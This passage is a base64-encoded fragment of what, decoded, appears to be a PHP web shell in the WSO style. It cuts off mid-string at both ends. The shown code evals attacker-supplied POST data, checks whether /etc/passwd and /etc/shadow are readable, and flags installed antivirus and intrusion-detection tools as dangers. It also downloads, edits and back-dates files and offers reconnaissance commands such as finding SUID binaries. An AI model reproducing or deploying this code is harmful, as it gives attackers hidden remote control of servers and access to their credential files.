lcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOw0KfQ0KZnVuY3Rpb24gaGFyZFNjYW5kaXIoJGRpcikgew0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7DQogICAgICAgIHJldHVybiBzY2FuZGlyKCRkaXIpOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRkaCAgPSBvcGVuZGlyKCRkaXIpOw0KICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKQ0KICAgICAgICAgICAgJGZpbGVzW10gPSAkZmlsZW5hbWU7DQogICAgICAgIHJldHVybiAkZmlsZXM7DQogICAgfQ0KfQ0KZnVuY3Rpb24gd2hpY2goJHApIHsNCgkkcGF0aCA9IGV4KCd3aGljaCAnIC4gJHApOw0KCWlmKCFlbXB0eSgkcGF0aCkpDQoJCXJldHVybiAkcGF0aDsNCglyZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBhY3Rpb25SQygpIHsNCglpZighQCRfUE9TVFsncDEnXSkgew0KCQkkYSA9IGFycmF5KA0KCQkJInVuYW1lIiA9PiBwaHBfdW5hbWUoKSwNCgkJCSJwaHBfdmVyc2lvbiIgPT4gcGhwdmVyc2lvbigpLA0KCQkJIlZFUlNJT04iID0+IFZFUlNJT04sDQoJCQkic2FmZW1vZGUiID0+IEBpbmlfZ2V0KCdzYWZlX21vZGUnKQ0KCQkpOw0KCQllY2hvIHNlcmlhbGl6ZSgkYSk7DQoJfSBlbHNlIHsNCgkJZXZhbCgkX1BPU1RbJ3AxJ10pOw0KCX0NCn0NCmZ1bmN0aW9uIHByb3RvdHlwZSgkaywgJHYpIHsNCiAgICAkX0NPT0tJRVska10gPSAkdjsNCiAgICBzZXRjb29raWUoJGssICR2KTsNCn0NCmZ1bmN0aW9uIGFjdGlvblNlY0luZm8oKSB7DQoJaGFyZEhlYWRlcigpOw0KCWVjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb248L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KCWZ1bmN0aW9uIHNob3dTZWNQYXJhbSgkbiwgJHYpIHsNCgkJJHYgPSB0cmltKCR2KTsNCgkJaWYoJHYpIHsNCgkJCWVjaG8gJzxzcGFuPicgLiAkbiAuICc6IDwvc3Bhbj4nOw0KCQkJaWYoc3RycG9zKCR2LCAiXG4iKSA9PT0gZmFsc2UpDQoJCQkJZWNobyAkdiAuICc8YnI+JzsNCgkJCWVsc2UNCgkJCQllY2hvICc8cHJlIGNsYXNzPW1sMT4nIC4gJHYgLiAnPC9wcmU+JzsNCgkJfQ0KCX0NCglzaG93U2VjUGFyYW0oJ1NlcnZlciBzb2Z0d2FyZScsIEBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2FwYWNoZV9nZXRfbW9kdWxlcycpKQ0KICAgICAgICBzaG93U2VjUGFyYW0oJ0xvYWRlZCBBcGFjaGUgbW9kdWxlcycsIGltcGxvZGUoJywgJywgYXBhY2hlX2dldF9tb2R1bGVzKCkpKTsNCglzaG93U2VjUGFyYW0oJ0Rpc2FibGVkIFBIUCBGdW5jdGlvbnMnLCAkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXT8kR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXTonbm9uZScpOw0KCXNob3dTZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7DQoJc2hvd1NlY1BhcmFtKCdTYWZlIG1vZGUgZXhlYyBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpOw0KCXNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGluY2x1ZGUgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKTsNCglzaG93U2VjUGFyYW0oJ2NVUkwgc3VwcG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2VuYWJsZWQnOidubycpOw0KCSR0ZW1wPWFycmF5KCk7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkNCgkJJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50X2luZm8oKS4iKSI7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpDQoJCSR0ZW1wW10gPSAiTVNTUUwiOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQ0KCQkkdGVtcFtdID0gIlBvc3RncmVTUUwiOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkNCgkJJHRlbXBbXSA9ICJPcmFjbGUiOw0KCXNob3dTZWNQYXJhbSgnU3VwcG9ydGVkIGRhdGFiYXNlcycsIGltcGxvZGUoJywgJywgJHRlbXApKTsNCgllY2hvICc8YnI+JzsNCglpZigkR0xPQkFMU1snb3MnXSA9PSAnbml4Jykgew0KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3Bhc3N3ZCcsIEBpc19yZWFkYWJsZSgnL2V0Yy9wYXNzd2QnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiL2V0Yy9cIiwgXCJwYXNzd2RcIiknPlt2aWV3XTwvYT4iOidubycpOw0KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3NoYWRvdycsIEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiL2V0Yy9cIiwgXCJzaGFkb3dcIiknPlt2aWV3XTwvYT4iOidubycpOw0KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdPUyB2ZXJzaW9uJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpOw0KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsNCiAgICAgICAgICAgIGlmKCEkR0xPQkFMU1snc2FmZV9tb2RlJ10pIHsNCiAgICAgICAgICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsNCiAgICAgICAgICAgICAgICAkZGFuZ2VyID0gYXJyYXkoJ2thdicsJ25vZDMyJywnYmRjb3JlZCcsJ3V2c2NhbicsJ3NhdicsJ2Ryd2ViZCcsJ2NsYW1kJywncmtodW50ZXInLCdjaGtyb290a2l0JywnaXB0YWJsZXMnLCdpcGZ3JywndHJpcHdpcmUnLCdzaGllbGRjYycsJ3BvcnRzZW50cnknLCdzbm9ydCcsJ29zc2VjJywnbGlkc2FkbScsJ3RjcGxvZGcnLCdzeGlkJywnbG9nY2hlY2snLCdsb2d3YXRjaCcsJ3N5c21hc2snLCd6bWJzY2FwJywnc2F3bWlsbCcsJ3dvcm1zY2FuJywnbmluamEnKTsNCiAgICAgICAgICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsNCiAgICAgICAgICAgICAgICBlY2hvICc8YnI+JzsNCiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VyZnVsIGFzICTilp8pDQogICAgICAgICAgICAgICAgICAgIGlmKHdoaWNoKCTilp8pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICTilp87DQogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQogICAgICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsNCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZGFuZ2VyIGFzICTilp8pDQogICAgICAgICAgICAgICAgICAgIGlmKHdoaWNoKCTilp8pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICTilp87DQogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEYW5nZXInLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAk4pafKQ0KICAgICAgICAgICAgICAgICAgICBpZih3aGljaCgk4pafKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAk4pafOw0KICAgICAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnRG93bmxvYWRlcnMnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCiAgICAgICAgICAgICAgICBlY2hvICc8YnIvPic7DQogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdIREQgc3BhY2UnLCBleCgnZGYgLWgnKSk7DQogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0cycpKTsNCgkJCQlzaG93U2VjUGFyYW0oJ01vdW50IG9wdGlvbnMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvZnN0YWInKSk7DQogICAgICAgICAgICB9DQoJfSBlbHNlIHsNCgkJc2hvd1NlY1BhcmFtKCdPUyBWZXJzaW9uJyxleCgndmVyJykpOw0KCQlzaG93U2VjUGFyYW0oJ0FjY291bnQgU2V0dGluZ3MnLCBpY29udignQ1A4NjYnLCAnVVRGLTgnLGV4KCduZXQgYWNjb3VudHMnKSkpOw0KCQlzaG93U2VjUGFyYW0oJ1VzZXIgQWNjb3VudHMnLCBpY29udignQ1A4NjYnLCAnVVRGLTgnLGV4KCduZXQgdXNlcicpKSk7DQoJfQ0KCWVjaG8gJzwvZGl2Pic7DQoJaGFyZEZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWN0aW9uRmlsZXNUb29scygpIHsNCglpZiggaXNzZXQoJF9QT1NUWydwMSddKSApDQoJCSRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOw0KCWlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsNCgkJaWYoQGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgew0KCQkJb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOw0KCQkJaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOw0KCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSkgew0KCQkJCSR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7DQoJCQkJaGVhZGVyKCJDb250ZW50LVR5cGU6ICIgLiAkdHlwZSk7DQoJCQl9IGVsc2UNCiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAiciIpOw0KCQkJaWYoJGZwKSB7DQoJCQkJd2hpbGUoIUBmZW9mKCRmcCkpDQoJCQkJCWVjaG8gQGZyZWFkKCRmcCwgMTAyNCk7DQoJCQkJZmNsb3NlKCRmcCk7DQoJCQl9DQoJCX1leGl0Ow0KCX0NCglpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsNCgkJaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsncDEnXSkpIHsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICd3Jyk7DQoJCQlpZigkZnApIHsNCgkJCQkkX1BPU1RbJ3AyJ10gPSAiZWRpdCI7DQoJCQkJZmNsb3NlKCRmcCk7DQoJCQl9DQoJCX0NCgl9DQoJaGFyZEhlYWRlcigpOw0KCWVjaG8gJzxoMT5GaWxlIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCglpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgew0KCQllY2hvICdGaWxlIG5vdCBleGlzdHMnOw0KCQloYXJkRm9vdGVyKCk7DQoJCXJldHVybjsNCgl9DQoJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOw0KCWlmKCEkdWlkKSB7DQoJCSR1aWRbJ25hbWUnXSA9IEBmaWxlb3duZXIoJF9QT1NUWydwMSddKTsNCgkJJGdpZFsnbmFtZSddID0gQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pOw0KCX0gZWxzZSAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJF9QT1NUWydwMSddKSk7DQoJZWNobyAnPHNwYW4+TmFtZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycyhAYmFzZW5hbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5TaXplOjwvc3Bhbj4gJy4oaXNfZmlsZSgkX1BPU1RbJ3AxJ10pP3ZpZXdTaXplKGZpbGVzaXplKCRfUE9TVFsncDEnXSkpOictJykuJyA8c3Bhbj5QZXJtaXNzaW9uOjwvc3Bhbj4gJy52aWV3UGVybXNDb2xvcigkX1BPU1RbJ3AxJ10pLicgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFtZSddLic8YnI+JzsNCgllY2hvICc8c3Bhbj5DcmVhdGUgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVjdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPkFjY2VzcyB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWF0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+TW9kaWZ5IHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJzxicj48YnI+JzsNCglpZiggZW1wdHkoJF9QT1NUWydwMiddKSApDQoJCSRfUE9TVFsncDInXSA9ICd2aWV3JzsNCglpZiggaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICkNCgkJJG0gPSBhcnJheSgnVmlldycsICdIaWdobGlnaHQnLCAnRG93bmxvYWQnLCAnSGV4ZHVtcCcsICdFZGl0JywgJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcsICdGcmFtZScpOw0KCWVsc2UNCgkJJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7DQoJZm9yZWFjaCgkbSBhcyAkdikNCgkJZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLFwnJy5zdHJ0b2xvd2VyKCR2KS4nXCcpIj4nLigoc3RydG9sb3dlcigkdik9PUAkX1BPU1RbJ3AyJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8L2E+ICc7DQoJZWNobyAnPGJyPjxicj4nOw0KCXN3aXRjaCgkX1BPU1RbJ3AyJ10pIHsNCgkJY2FzZSAndmlldyc6DQoJCQllY2hvICc8cHJlIGNsYXNzPW1sMT4nOw0KCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsNCgkJCWlmKCRmcCkgew0KCQkJCXdoaWxlKCAhQGZlb2YoJGZwKSApDQoJCQkJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7DQoJCQkJQGZjbG9zZSgkZnApOw0KCQkJfQ0KCQkJZWNobyAnPC9wcmU+JzsNCgkJCWJyZWFrOw0KCQljYXNlICdoaWdobGlnaHQnOg0KCQkJaWYoIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pICkgew0KCQkJCWVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZTFlMWUxO2NvbG9yOmJsYWNrOyI+JzsNCgkJCQkkb1JiID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsncDEnXSx0cnVlKTsNCgkJCQllY2hvIHN0cl9yZXBsYWNlKGFycmF5KCc8c3BhbiAnLCc8L3NwYW4+JyksIGFycmF5KCc8Zm9udCAnLCc8L2ZvbnQ+JyksJG9SYikuJzwvZGl2Pic7DQoJCQl9DQoJCQlicmVhazsNCgkJY2FzZSAnY2htb2QnOg0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCSRwZXJtcyA9IDA7DQoJCQkJZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkNCgkJCQkJJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsNCgkJCQlpZighQGNobW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkNCgkJCQkJZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOw0KCQkJfQ0KCQkJY2xlYXJzdGF0Y2FjaGUoKTsNCgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMuY2htb2QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jaG1vZCB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSddKSksLTQpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+JzsNCgkJCWJyZWFrOw0KCQljYXNlICdlZGl0JzoNCgkJCWlmKCAhaXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgew0KCQkJCWVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQoJCQkJJHRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSk7DQoJCQkJJF9QT1NUWydwMyddID0gc3Vic3RyKCRfUE9TVFsncDMnXSwxKTsNCgkJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCJ3Iik7DQoJCQkJaWYoJGZwKSB7DQoJCQkJCUBmd3JpdGUoJGZwLCRfUE9TVFsncDMnXSk7DQoJCQkJCUBmY2xvc2UoJGZwKTsNCgkJCQkJZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pic7DQoJCQkJCUB0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpOw0KCQkJCX0NCgkJCX0NCgkJCWVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLFwnMVwnK3RoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7DQoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOw0KCQkJaWYoJGZwKSB7DQoJCQkJd2hpbGUoICFAZmVvZigkZnApICkNCgkJCQkJZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsNCgkJCQlAZmNsb3NlKCRmcCk7DQoJCQl9DQoJCQllY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+JzsNCgkJCWJyZWFrOw0KCQljYXNlICdoZXhkdW1wJzoNCgkJCSRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7DQoJCQkkbiA9IDA7DQoJCQkkaCA9IGFycmF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCgkJCSRsZW4gPSBzdHJsZW4oJGMpOw0KCQkJZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7DQoJCQkJJGhbMV0gLj0gc3ByaW50ZignJTAyWCcsb3JkKCRjWyRpXSkpLicgJzsNCgkJCQlzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsNCgkJCQkJY2FzZSAwOiAgJGhbMl0gLj0gJyAnOyBicmVhazsNCgkJCQkJY2FzZSA5OiAgJGhbMl0gLj0gJyAnOyBicmVhazsNCgkJCQkJY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsNCgkJCQkJY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsNCgkJCQkJZGVmYXVsdDogJGhbMl0gLj0gJGNbJGldOyBicmVhazsNCgkJCQl9DQoJCQkJJG4rKzsNCgkJCQlpZiAoJG4gPT0gMzIpIHsNCgkJCQkJJG4gPSAwOw0KCQkJCQlpZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fQ0KCQkJCQkkaFsxXSAuPSAnPGJyPic7DQoJCQkJCSRoWzJdIC49ICJcbiI7DQoJCQkJfQ0KCQkgCX0NCgkJCWVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMWExYTFhPjx0cj48dGQgYmdjb2xvcj0jMjAyODMyPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMDYwYTEwPjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMjAyODMyPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsNCgkJCWJyZWFrOw0KCQljYXNlICdyZW5hbWUnOg0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCWlmKCFAcmVuYW1lKCRfUE9TVFsncDEnXSwgJF9QT1NUWydwMyddKSkNCgkJCQkJZWNobyAnQ2FuXCd0IHJlbmFtZSE8YnI+JzsNCgkJCQllbHNlDQoJCQkJCWRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCwiJy51cmxlbmNvZGUoJF9QT1NUWydwMyddKS4nIixudWxsLCIiKTwvc2NyaXB0PicpOw0KCQkJfQ0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT4nOw0KCQkJYnJlYWs7DQoJCWNhc2UgJ3RvdWNoJzoNCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQkkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOw0KCQkJCWlmKCR0aW1lKSB7DQoJCQkJCWlmKCF0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpKQ0KCQkJCQkJZWNobyAnRmFpbCEnOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICdUb3VjaGVkISc7DQoJCQkJfSBlbHNlIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCEnOw0KCQkJfQ0KCQkJY2xlYXJzdGF0Y2FjaGUoKTsNCgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRlKCJZLW0tZCBIOmk6cyIsIEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT4nOw0KCQkJYnJlYWs7DQoJCS8qICjQoSkgMTIuMjAxNSBtaXRyeXogKi8NCgkJY2FzZSAnZnJhbWUnOg0KCQkJJGZyYW1lU3JjID0gc3Vic3RyKGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSwgc3RybGVuKGh0bWxzcGVjaWFsY2hhcnMoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSkpKTsNCgkJCWlmICgkZnJhbWVTcmNbMF0gIT0gJy8nKQ0KCQkJCSRmcmFtZVNyYyA9ICcvJyAuICRmcmFtZVNyYzsNCgkJCWlmICgkZnJhbWVTcmNbc3RybGVuKCRmcmFtZVNyYykgLSAxXSAhPSAnLycpDQoJCQkJJGZyYW1lU3JjID0gJGZyYW1lU3JjIC4gJy8nOw0KCQkJJGZyYW1lU3JjID0gJGZyYW1lU3JjIC4gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOw0KCQkJZWNobyAnPGlmcmFtZSB3aWR0aD0iMTAwJSIgaGVpZ2h0PSI5MDBweCIgc2Nyb2xsaW5nPSJubyIgc3JjPScuJGZyYW1lU3JjLicgb25sb2FkPSJvbmxvYWQ9aGVpZ2h0PWNvbnRlbnREb2N1bWVudC5ib2R5LnNjcm9sbEhlaWdodCI+PC9pZnJhbWU+JzsNCgkJCWJyZWFrOw0KCX0NCgllY2hvICc8L2Rpdj4nOw0KCWhhcmRGb290ZXIoKTsNCn0NCmlmKCRvcyA9PSAnd2luJykNCgkkYWxpYXNlcyA9IGFycmF5KA0KCQkiTGlzdCBEaXJlY3RvcnkiID0+ICJkaXIiLA0KICAgIAkiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgaW5kZXgucGhwIiwNCiAgICAJIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIsDQogICAgCSJTaG93IGFjdGl2ZSBjb25uZWN0aW9ucyIgPT4gIm5ldHN0YXQgLWFuIiwNCiAgICAJIlNob3cgcnVubmluZyBzZXJ2aWNlcyIgPT4gIm5ldCBzdGFydCIsDQogICAgCSJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLA0KICAgIAkiU2hvdyBjb21wdXRlcnMiID0+ICJuZXQgdmlldyIsDQoJCSJBUlAgVGFibGUiID0+ICJhcnAgLWEiLA0KCQkiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiDQoJKTsNCmVsc2UNCgkkYWxpYXNlcyA9IGFycmF5KA0KICAJCSJMaXN0IGRpciIgPT4gImxzIC1saGEiLA0KCQkibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iID0+ICJsc2F0dHIgLXZhIiwNCiAgCQkic2hvdyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIiwNCiAgICAgICAgInByb2Nlc3Mgc3RhdHVzIiA9PiAicHMgYXV4IiwNCgkJIkZpbmQiID0+ICIiLA0KICAJCSJmaW5kIGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsDQogIAkJImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLA